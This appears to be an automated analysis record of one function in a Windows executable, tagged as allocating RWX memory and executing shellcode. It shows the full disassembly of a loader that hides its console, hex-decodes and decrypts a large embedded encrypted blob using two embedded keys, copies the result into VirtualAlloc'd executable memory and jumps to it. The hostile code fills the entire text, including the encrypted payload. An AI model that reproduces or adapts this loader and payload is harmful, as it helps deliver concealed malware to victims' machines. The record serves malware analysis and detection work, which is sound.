Function at 0x140002936
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x1c050
call fcn.140003af0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140002b40
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, str.8cb0785750ce1d46c027cb2794e27de566992606bfc9a017584071b38947699c977d28c009ccb1f45d8f810b722586912ae59ab646f7447006c44ba5ff25f301a339e020f3ab86245ff0e49326ba70902458efaad4921471cc8c74854050709f17f2fc858987f9c54f2748f511dfd5257cee6d06715359cd94f5ecf183dd5c30e047935c86f1b82a6c2d21dddaab73b557c388bfb7728a9a439de1842050976b971346a8149b9683fa739d3e74c5a58dc7afe8fe68e0ca9a4c207a0b95a3ecc5f00b843d00ded6ac8521c052b36a5aab57c73f6f4611c53623ec8796067ca5811c229ecfbfd18a475c4018882f1f3182f92a0b0299b75c8342c1250f10495e37ce5a2afd5fd8c895980ef45e3d2fcad809bd7a529aafd5ecbdb68c07d529946d3f10f5c46f0975a5607443e754e287d9d510f2364dc66b96b25e58f76394e982b0c38307868217db4ed33fa1bed9e7235a9e855ca0a0a03c800e005ac9b47deaa267916af320e640c2b9e64534c91609fee0e75720395518f96e6040cc987e995d1f590fddbe5dd32b6399e1d0ccad9f8cf1fa728b9d5261eaf181e29a6a862a8403a97a751267aef0dcff3abfd38c0a1d60fcc36b8a653aa6c3a2c32855aa608bf2ff08014109cc3e1e638e6e2d29de57331d6e8cf6ce24c74a88c6c885fd1d3d87465462623408d0f4285d80b3592237c46a1ec4680269504be7e124ae821ec793af36a340ee1073e3be72fdca7a0c685a77c0fe8fa94aca4ab934b496d7464497612f012733672fc61aa31aa076853da7f7ef3e8a1f977f985c149758d4c94d93f738746da2dc66bf03f0b6ff0a0bc48236d08e595fdae58e9430b9211aef008053bffd3e6878e91ffe36c3d3c81deb003fc898f9dabe1c8935a526e8b633dd543f6f310f467f740a630cb07fb1e74b1ce9f49488347d1d018cf8cec93a064d052493b10a32eb10d12c94fbdad81f9cc8cfe4b1aa095de4bfcd14049e9d87e63ab89ae9026a3a412fbc338112fd4d3c45c022077499ac9ebcb1efef6f129c49d44f0d6aa2c24e8a87a44eeb222eeb96549cb5a056abc18f1d029e4325f0c1b23555ed58c381482885da48155aa3287b750c0c9d9194c6d7072b414fba32a953dca4b682060ed3b386ddbc874c7fdd54c86a18ff87b5bf9826d72a828e62f5e1ee0a84af3b167df6dab0442e3e3eacc7e22adaaf0789b958f7e4da54d411fd10e0f7d9fb0c903c74d8e86b889696fb15ed704f9fc5df7707509b55c8e3d392c875839153575a3bdf9f3764e765c404b3f50cfad6c35ce4bdfb7175b60091c4e7257a5f507e6cf89e8d5d16ba98c25b1eba14336103d4865b228cfd506e4682c9f0442c84d5b9a376c3f0446a3433540829ca1b0419ac837195e456a4dc1a594222a27ceceefa9dcd29628df78ea0dd4c4857d16a1da1a84c987c2f5789635f38b7d28f14cffb482c38b8da1ded71c4d148bd066d74df4af1146b5430544a5fdce5e30774c00ea064824aa1e537709b5f709da52c5229817001a87e955b0907edce009ca0344ac01a843e8a319b0ee00aa1d2b15a68f7d620a0cb0788ecf8c14d686b313c3a98399899da6b2ccf58dccd0659f1b491cb9296b84cd1c018092d3830ec9a19f080e6f526b03bdc9481eed49e95811ca40a3b906bd46a1c0f1683355ee2c798875efc69ce4676c47e98010a62dc17161a55df7ce24c65bc85f448299772f5d1d920be7b1b60d492409dde9c58b989e209a4a69fc7b726b5bc1d72a0de3483afa4d1705a048c77ac9b451d9691c61dcae14ac5273a268b940027d2e511ec0f7344d0fa58940564e5996e08d798791226ed09540f90a78180ac4ea43e5b941b949309f638c9adefa0d213a2184d42a81e7cd9200040da0c2b23a3fb3e62016546d11764aefa6dc22263eb5b7718ecca153ea7234c2f05b59aa1b267844146ce539b0c87d5723c6340d863bc89527b2ae247f1fb676a2bbb1a82fd3af2775e8d28653d5273c729a556fa304ac0b71081d8cf3e81bf7a0932141c84d3e2da7c28b2d54f9bc59fa7adc2e572429a997142767581c0540485967eba2e940a9da6cfa9653f0a5abaad7d2b60c2cde7d82f93011e80aa0d0467ef85be202c72cb0bcc4ce9ab7db9aa8a4f509542e438368f7782f95f3356c284a5a4bf0d1baca52bd45465cdf3740e7be11e2e312b223a2ea1aeed2f9b84071e6a76d78364e9eb9a2d0761f919f0daa1550b53751c2d4dcf991aa723596ce06286bf184583639973942af33331923e147169df7c801bea84fe642e14ab6a1d1895a7127276b62b78000a9cacf6515adb261c281b29fbc9537a364e0a8ff9b20e4570e90da04b73a353e0afaefd10187f5ab561d9a74d1a0616ac5e539cd3657a751704687b8551b9bead1c0803bd89c3cef45658a4f89e8689fa5029d880b2729f6550ccf8afcfeb237823bd148be611726946602c4908dbf5a91a99b9d31cb61205db317aceaa5ddf161e1bf195a21b20060dce7db1326e6b7d4adbff50b35f9e12be9269c33f69743b563bedfdf58d44e0e31d33de1961a1f96a348bdcec95861365c42a2f2d7245592a742d2951625a647016a05bb037ead210dd147ffca955b6fb2c723c5344af244f5dadb19126076f1eb3f166cec7389e0269dcb2c2fb7f816f2b66641a1fa80ef4360cb195edaafd56b14f5beaf34a8b95c14db0f139626195b88f5a6db8ef78caa9e6747469b0b7e9d8b426a4f2a7623920baac46213d5cc45396e3e593745215837b57b9b4ac00c18fdd261a0cc5143d680cacd21bd458b3c7d86bffd2689aec1d0ea142088680354feb728a8ee43037628ee67637ccb15d3675300943b14d992ce7712e09973f488291fb9232744e552b16f6a6d672eb7f7075
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x1bfcc], eax
lea rax, str.116b8c1f8525e099b181673600aa8cdb23e7c8876ef09ea4180655596dd506eb
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x1bfc8], eax
lea rax, str.fb39ea6a8bbcf834bc16300b4a8d9416758769727a640fd77f548df47659b929
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x1bfc4], eax
mov eax, dword [rbp + 0x1bfcc]
movsxd rdx, eax
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rax, str.8cb0785750ce1d46c027cb2794e27de566992606bfc9a017584071b38947699c977d28c009ccb1f45d8f810b722586912ae59ab646f7447006c44ba5ff25f301a339e020f3ab86245ff0e49326ba70902458efaad4921471cc8c74854050709f17f2fc858987f9c54f2748f511dfd5257cee6d06715359cd94f5ecf183dd5c30e047935c86f1b82a6c2d21dddaab73b557c388bfb7728a9a439de1842050976b971346a8149b9683fa739d3e74c5a58dc7afe8fe68e0ca9a4c207a0b95a3ecc5f00b843d00ded6ac8521c052b36a5aab57c73f6f4611c53623ec8796067ca5811c229ecfbfd18a475c4018882f1f3182f92a0b0299b75c8342c1250f10495e37ce5a2afd5fd8c895980ef45e3d2fcad809bd7a529aafd5ecbdb68c07d529946d3f10f5c46f0975a5607443e754e287d9d510f2364dc66b96b25e58f76394e982b0c38307868217db4ed33fa1bed9e7235a9e855ca0a0a03c800e005ac9b47deaa267916af320e640c2b9e64534c91609fee0e75720395518f96e6040cc987e995d1f590fddbe5dd32b6399e1d0ccad9f8cf1fa728b9d5261eaf181e29a6a862a8403a97a751267aef0dcff3abfd38c0a1d60fcc36b8a653aa6c3a2c32855aa608bf2ff08014109cc3e1e638e6e2d29de57331d6e8cf6ce24c74a88c6c885fd1d3d87465462623408d0f4285d80b3592237c46a1ec4680269504be7e124ae821ec793af36a340ee1073e3be72fdca7a0c685a77c0fe8fa94aca4ab934b496d7464497612f012733672fc61aa31aa076853da7f7ef3e8a1f977f985c149758d4c94d93f738746da2dc66bf03f0b6ff0a0bc48236d08e595fdae58e9430b9211aef008053bffd3e6878e91ffe36c3d3c81deb003fc898f9dabe1c8935a526e8b633dd543f6f310f467f740a630cb07fb1e74b1ce9f49488347d1d018cf8cec93a064d052493b10a32eb10d12c94fbdad81f9cc8cfe4b1aa095de4bfcd14049e9d87e63ab89ae9026a3a412fbc338112fd4d3c45c022077499ac9ebcb1efef6f129c49d44f0d6aa2c24e8a87a44eeb222eeb96549cb5a056abc18f1d029e4325f0c1b23555ed58c381482885da48155aa3287b750c0c9d9194c6d7072b414fba32a953dca4b682060ed3b386ddbc874c7fdd54c86a18ff87b5bf9826d72a828e62f5e1ee0a84af3b167df6dab0442e3e3eacc7e22adaaf0789b958f7e4da54d411fd10e0f7d9fb0c903c74d8e86b889696fb15ed704f9fc5df7707509b55c8e3d392c875839153575a3bdf9f3764e765c404b3f50cfad6c35ce4bdfb7175b60091c4e7257a5f507e6cf89e8d5d16ba98c25b1eba14336103d4865b228cfd506e4682c9f0442c84d5b9a376c3f0446a3433540829ca1b0419ac837195e456a4dc1a594222a27ceceefa9dcd29628df78ea0dd4c4857d16a1da1a84c987c2f5789635f38b7d28f14cffb482c38b8da1ded71c4d148bd066d74df4af1146b5430544a5fdce5e30774c00ea064824aa1e537709b5f709da52c5229817001a87e955b0907edce009ca0344ac01a843e8a319b0ee00aa1d2b15a68f7d620a0cb0788ecf8c14d686b313c3a98399899da6b2ccf58dccd0659f1b491cb9296b84cd1c018092d3830ec9a19f080e6f526b03bdc9481eed49e95811ca40a3b906bd46a1c0f1683355ee2c798875efc69ce4676c47e98010a62dc17161a55df7ce24c65bc85f448299772f5d1d920be7b1b60d492409dde9c58b989e209a4a69fc7b726b5bc1d72a0de3483afa4d1705a048c77ac9b451d9691c61dcae14ac5273a268b940027d2e511ec0f7344d0fa58940564e5996e08d798791226ed09540f90a78180ac4ea43e5b941b949309f638c9adefa0d213a2184d42a81e7cd9200040da0c2b23a3fb3e62016546d11764aefa6dc22263eb5b7718ecca153ea7234c2f05b59aa1b267844146ce539b0c87d5723c6340d863bc89527b2ae247f1fb676a2bbb1a82fd3af2775e8d28653d5273c729a556fa304ac0b71081d8cf3e81bf7a0932141c84d3e2da7c28b2d54f9bc59fa7adc2e572429a997142767581c0540485967eba2e940a9da6cfa9653f0a5abaad7d2b60c2cde7d82f93011e80aa0d0467ef85be202c72cb0bcc4ce9ab7db9aa8a4f509542e438368f7782f95f3356c284a5a4bf0d1baca52bd45465cdf3740e7be11e2e312b223a2ea1aeed2f9b84071e6a76d78364e9eb9a2d0761f919f0daa1550b53751c2d4dcf991aa723596ce06286bf184583639973942af33331923e147169df7c801bea84fe642e14ab6a1d1895a7127276b62b78000a9cacf6515adb261c281b29fbc9537a364e0a8ff9b20e4570e90da04b73a353e0afaefd10187f5ab561d9a74d1a0616ac5e539cd3657a751704687b8551b9bead1c0803bd89c3cef45658a4f89e8689fa5029d880b2729f6550ccf8afcfeb237823bd148be611726946602c4908dbf5a91a99b9d31cb61205db317aceaa5ddf161e1bf195a21b20060dce7db1326e6b7d4adbff50b35f9e12be9269c33f69743b563bedfdf58d44e0e31d33de1961a1f96a348bdcec95861365c42a2f2d7245592a742d2951625a647016a05bb037ead210dd147ffca955b6fb2c723c5344af244f5dadb19126076f1eb3f166cec7389e0269dcb2c2fb7f816f2b66641a1fa80ef4360cb195edaafd56b14f5beaf34a8b95c14db0f139626195b88f5a6db8ef78caa9e6747469b0b7e9d8b426a4f2a7623920baac46213d5cc45396e3e593745215837b57b9b4ac00c18fdd261a0cc5143d680cacd21bd458b3c7d86bffd2689aec1d0ea142088680354feb728a8ee43037628ee67637ccb15d3675300943b14d992ce7712e09973f488291fb9232744e552b16f6a6d672eb7f7075
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x1bfc8]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str.116b8c1f8525e099b181673600aa8cdb23e7c8876ef09ea4180655596dd506eb
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x1bfc4]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rax
lea rax, str.fb39ea6a8bbcf834bc16300b4a8d9416758769727a640fd77f548df47659b929
mov rcx, rax
call fcn.1400028aa
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1bef0]
mov r8, rcx
mov rcx, rax
call fcn.14000171b
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1bef0]
mov r8d, 0x1bf02
mov rcx, rax
call fcn.14000270f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1bf02
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1bfb8], rax
mov rax, qword [rbp + 0x1bfb8]
mov rcx, rax
lea rax, [rbp - 0x20]
mov edx, 0x1bf02
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x1bfb8]
call rax
mov eax, 0
add rsp, 0x1c050
pop rbp
ret